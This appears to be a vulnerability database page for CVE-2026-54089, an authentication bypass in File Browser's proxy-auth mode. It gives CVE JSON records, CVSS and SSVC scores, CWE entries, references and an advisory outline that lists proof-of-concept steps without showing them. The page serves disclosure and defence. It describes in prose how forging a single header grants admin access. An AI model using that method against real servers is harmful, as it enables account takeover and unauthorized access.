  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-xqp3-jq6g-x3qm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54089"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/blob/main/http/auth.go#L121-L137"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "File Browser: Authentication Bypass via Proxy Auth Header Forgery"
}

CVE-2026-54089 (GCVE-0-2026-54089)

Vulnerability from cvelistv5 – Published: 2026-06-25 17:46 – Updated: 2026-06-25 18:33

Title

File Browser: Authentication Bypass via Proxy Auth Header Forgery

Summary

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Starting with 2.0.0-rc.1, when FileBrowser is configured with proxy authentication (auth.method=proxy), any unauthenticated attacker who can reach the server directly can impersonate any user - including admin - by sending a single forged HTTP header. No credentials are required. Additionally, specifying a non-existent username causes the server to automatically create a new user account, providing an account creation primitive with no authorization. This is an already known issue that has been documented in the documentation for several years, but has not been documented as a vulnerability before.

Severity

9.1 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-287 - Improper Authentication
CWE-290 - Authentication Bypass by Spoofing

Assigner

GitHub_M

References

3 references

URL	Tags
https://github.com/filebrowser/filebrowser/securi…	x_refsource_CONFIRM
https://github.com/filebrowser/filebrowser/blob/m…	x_refsource_MISC
https://github.com/filebrowser/filebrowser/blob/m…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
filebrowser	filebrowser	Affected: >= 2.0.0-rc.1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-54089",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-25T18:33:12.379285Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
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        "providerMetadata": {
          "dateUpdated": "2026-06-25T18:33:37.531Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-xqp3-jq6g-x3qm"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "filebrowser",
          "vendor": "filebrowser",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2.0.0-rc.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Starting with 2.0.0-rc.1, when FileBrowser is configured with proxy authentication (auth.method=proxy), any unauthenticated attacker who can reach the server directly can impersonate any user - including admin - by sending a single forged HTTP header. No credentials are required. Additionally, specifying a non-existent username causes the server to automatically create a new user account, providing an account creation primitive with no authorization. This is an already known issue that has been documented in the documentation for several years, but has not been documented as a vulnerability before."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 9.1,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-287",
              "description": "CWE-287: Improper Authentication",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-290",
              "description": "CWE-290: Authentication Bypass by Spoofing",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-06-25T17:46:13.119Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-xqp3-jq6g-x3qm",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-xqp3-jq6g-x3qm"
        },
        {
          "name": "https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go"
        },
        {
          "name": "https://github.com/filebrowser/filebrowser/blob/main/http/auth.go#L121-L137",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/filebrowser/filebrowser/blob/main/http/auth.go#L121-L137"
        }
      ],
      "source": {
        "advisory": "GHSA-xqp3-jq6g-x3qm",
        "discovery": "UNKNOWN"
      },
      "title": "File Browser: Authentication Bypass via Proxy Auth Header Forgery"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-54089",
    "datePublished": "2026-06-25T17:46:13.119Z",
    "dateReserved": "2026-06-11T18:44:47.761Z",
    "dateUpdated": "2026-06-25T18:33:37.531Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-XQP3-JQ6G-X3QM

Summary

Severity

Affected Component

Prerequisite: Proxy Auth Must Be Enabled

Root Cause

Problem 1: No Origin Validation

Problem 2: No Password Verification

Problem 3: Automatic User Creation

Complete Attack Flow

Proof of Concept

Prerequisites

Step 1: Confirm attacker (non-admin) is blocked

Step 2: Forge admin identity — no credentials needed

Step 3: Access admin-only endpoints with forged token

Step 4: Enumerate all user accounts

Step 5: Impersonate any other user

Step 6: Auto-create a new user account

Validated Results

Impact

Suggested Remediation

Fix 1: Add trusted proxy IP validation (recommended)

Fix 2: Make auto-user-creation opt-in

Fix 3: Documentation warning

References

CVE-2026-54089 (GCVE-0-2026-54089)

Tags

Sightings

Nomenclature